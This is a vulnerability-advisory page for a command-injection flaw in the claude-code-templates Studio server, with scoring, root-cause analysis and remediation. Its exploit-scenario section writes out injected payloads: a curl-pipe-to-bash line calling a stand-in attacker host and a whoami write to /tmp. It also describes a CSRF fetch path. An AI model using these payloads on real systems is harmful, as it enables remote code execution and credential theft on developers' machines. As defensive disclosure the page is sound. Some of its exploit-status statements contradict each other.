Skip to main content

Claude Code Templates CVE-2026-73222

| EUVDEUVD-2026-56858 HIGH
OS Command Injection (CWE-78)
2026-08-11 GitHub_M GHSA-79wm-x847-7cvg
8.8
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Developer launches --studio on port 3444 (0.0.0.0)
  2. Delivery
    Attacker delivers malicious web page or sends direct LAN request
  3. Exploit
    POST to /api/execute or /api/install-agent with injected metacharacters
  4. Execution
    shell:true causes system shell to parse attacker-controlled string
  5. Persist
    Arbitrary OS commands execute as developer
  6. Impact
    Source code, credentials, and local data exfiltrated

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that the target developer is actively running claude-code-templates with the --studio flag, which is an opt-in feature that launches the vulnerable sandbox server on port 3444 - the vulnerability does not exist in default CLI usage. Two distinct attack paths exist with different preconditions: (1) LAN/direct-network path - requires the attacker to have TCP connectivity to the developer's machine on port 3444, which was previously bound to 0.0.0.0; no user interaction from the developer is needed beyond having Studio running, and no authentication is required; (2) Drive-by CSRF path - requires the attacker to convince the developer to load a malicious web page in a browser while Studio is simultaneously running; the attacker's JavaScript issues a cross-origin fetch that the server accepted due to Access-Control-Allow-Origin: *. Both paths require no authentication credentials. The exploitation is limited to the duration Studio is running and does not persist if the process is stopped. Platform is not a limiting factor - the Node.js code runs cross-platform and both spawn and CORS behavior are consistent across Linux, macOS, and Windows.

Impact

The vendor-assigned CVSS 8.8 vector (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) scores this primarily against the CSRF drive-by vector where UI:R reflects the browser visit requirement; however, the LAN-direct attack path requires no user interaction at all, making UI:N arguably more accurate for the worst-case scenario - an independent assessment yields 9.8 critical under that framing. No EPSS score was included in the provided intelligence data, so exploitation probability cannot be quantified numerically. The CVE is not listed in CISA KEV, meaning active widespread exploitation is not confirmed; the risk is theoretical but credible given that the technical disclosure is detailed enough for trivial reproduction. Real-world exposure is limited to developers actively using the --studio flag: this is not a default configuration, which meaningfully narrows the affected population. That said, even a mid-sized development team in malbork running a shared office network would face genuine exposure if any engineer used --studio on vulnerable versions, since the 0.0.0.0 binding made every LAN peer a potential unauthenticated attacker. The combination of zero-authentication, network-reachable command execution, and full C/I/A impact makes this a genuine priority for any team using the studio feature, despite the absence of KEV confirmation.

Exploit ScenarioDerived

A developer on a shared office network runs claude-code-templates --studio, exposing port 3444 on all interfaces; a network peer sends a direct POST to http://[developer-ip]:3444/api/execute with a JSON body of {"prompt": "hello; curl http://attacker.com/shell.sh | bash"}, which the server passes to spawn('claude', ['hello; curl ...'], {shell: true}), causing the shell to execute the injected command with the developer's OS privileges and exfiltrating source code and credentials. Alternatively, an attacker hosts a malicious webpage that uses JavaScript fetch() to POST to http://127.0.0.1:3444/api/install-agent with {"agentName": "x; whoami > /tmp/pwned"} - since the server previously sent Access-Control-Allow-Origin: *, the browser delivers the response and the injected command executes silently in the background while the developer reads what appears to be an innocuous page. No public exploit code has been confirmed at time of analysis, though the level of technical detail in the public advisory and commit diff makes independent reproduction straightforward.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 11, 2026

Unauthenticated OS command injection in Claude Code Templates before 1.29.4 allows arbitrary shell command execution with the developer's privileges when the --studio flag is active. The vulnerable sandbox server (cli-tool/src/sandbox-server.js) bound to all network interfaces on port 3444, emitted Access-Control-Allow-Origin: *, and passed HTTP request-body fields - the prompt parameter to /api/execute and the agentName parameter to /api/install-agent - directly into child_process.spawn() with shell:true enabled, causing the shell to interpret attacker-controlled metacharacters. This vulnerability is not listed in CISA KEV; no confirmed public exploit code has been identified at time of analysis, but the detailed commit diff and security advisory provide sufficient technical disclosure for trivial reproduction.

RemediationAI

Upgrade claude-code-templates to version 1.29.4, released 2026-07-13, which simultaneously addresses all four root causes: it removes shell:true from every child_process.spawn() call so arguments are passed as discrete argv entries rather than being parsed by the shell, adds a strict allowlist (^[A-Za-z0-9._/-]+$) for agentName/agent fields rejecting injection payloads before they reach any spawn, rebinds the server from 0.0.0.0 to 127.0.0.1 to eliminate the LAN attack surface, and restricts CORS to the local Studio UI origin rather than wildcarding all origins. Upgrade instructions and the full fix description are documented at https://github.com/davila7/claude-code-templates/blob/main/CHANGELOG.md and the advisory at https://github.com/davila7/claude-code-templates/security/advisories/GHSA-79wm-x847-7cvg. If an immediate upgrade is not possible, the most effective compensating control is to stop using the --studio flag entirely, since the vulnerability exists exclusively in that mode. As a secondary measure, a host-based firewall rule blocking all inbound traffic to TCP port 3444 from non-loopback addresses eliminates the LAN-direct vector but does not mitigate CSRF exploitation when the developer browses untrusted sites while Studio is running - to address that remaining vector, disable or uninstall the package until patching is complete.

Affected VersionsENISA

claude-code-templates < 1.29.4

Affected Packages

npm claude-code-templates fix: 1.29.4

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Claude Code Templates is a Node.js CLI package (npm: claude-code-templates, CPE: cpe:2.3:a:davila7:claude-code-templates:*:*:*:*:*:*:*:*) that includes an optional Studio mode launched via the --studio flag, which starts an Express.js HTTP server on port 3444. The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command): the server passed attacker-controlled strings from HTTP request bodies to Node.js child_process.spawn() with the shell:true option, which instructs Node to invoke the system shell (/bin/sh on Unix, cmd.exe on Windows) and join arguments into a single command string. Shell metacharacters such as ;, &&, |, and $() are interpreted by the shell in that context, enabling injection. Three vulnerable call sites were identified: spawn in executeLocalTask() receiving the prompt field, spawn in the /api/install-agent handler receiving agentName, and spawn in checkAndInstallAgent() also reachable from /api/execute. Compounding the injection flaw, the server bound to 0.0.0.0 (all interfaces rather than loopback) and sent Access-Control-Allow-Origin: * on all responses, which together enabled two distinct exploitation vectors - direct LAN/network access and browser-side CSRF from any malicious origin.

Know when Claude Code Templates gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 8.8 HIGH
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
vuln.today AI 9.8 CRITICAL

The server bound to 0.0.0.0 with no auth enables LAN-direct exploitation without any user interaction, making UI:N more accurate than the official UI:R.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Patch available
Aug 11, 2026 - 19:04 EUVD
CVE Published
Aug 11, 2026 - 18:27 cve.org
HIGH 8.8

DescriptionCVE.org

Claude Code Templates is a CLI tool for configuring and monitoring Claude Code. Prior to 1.29.4, the Claude Code Studio server launched by the --studio option in cli-tool/src/sandbox-server.js binds to all interfaces on port 3444, permits cross-origin requests, and requires no authentication. The POST /api/execute endpoint passes the prompt request-body field to executeLocalTask(), and POST /api/install-agent passes the agentName request-body field to a child process. The same unsafe agent field path is reachable from /api/execute through checkAndInstallAgent(). These attacker-controlled values reach child_process.spawn() with shell execution enabled, causing Node.js to construct a shell command in which metacharacters are interpreted. An attacker who can reach the port directly, or who convinces a developer running Studio to visit a malicious website, can execute arbitrary operating-system commands with the developer's privileges and compromise source code, credentials, and local data. This issue is fixed in version 1.29.4.

Executive ViewAI

Why It Matters

Claude Code Templates versions before 1.29.4 contain an unauthenticated remote code execution vulnerability in the development sandbox server, allowing any network-accessible attacker to execute arbitrary commands with developer privileges when the --studio flag is active. This vulnerability directly threatens source code integrity, development infrastructure, and supply chain security.

Business Impact: High
Compensating Controls

Vendor-released patch: Claude Code Templates 1.29.4 and later.

Threat Intelligence Overview

EPSS Score
0.2%
Top 90% exploitable
Prevalence
Low
niche developer CLI tool for AI-assisted Claude Code workflows
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

64
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy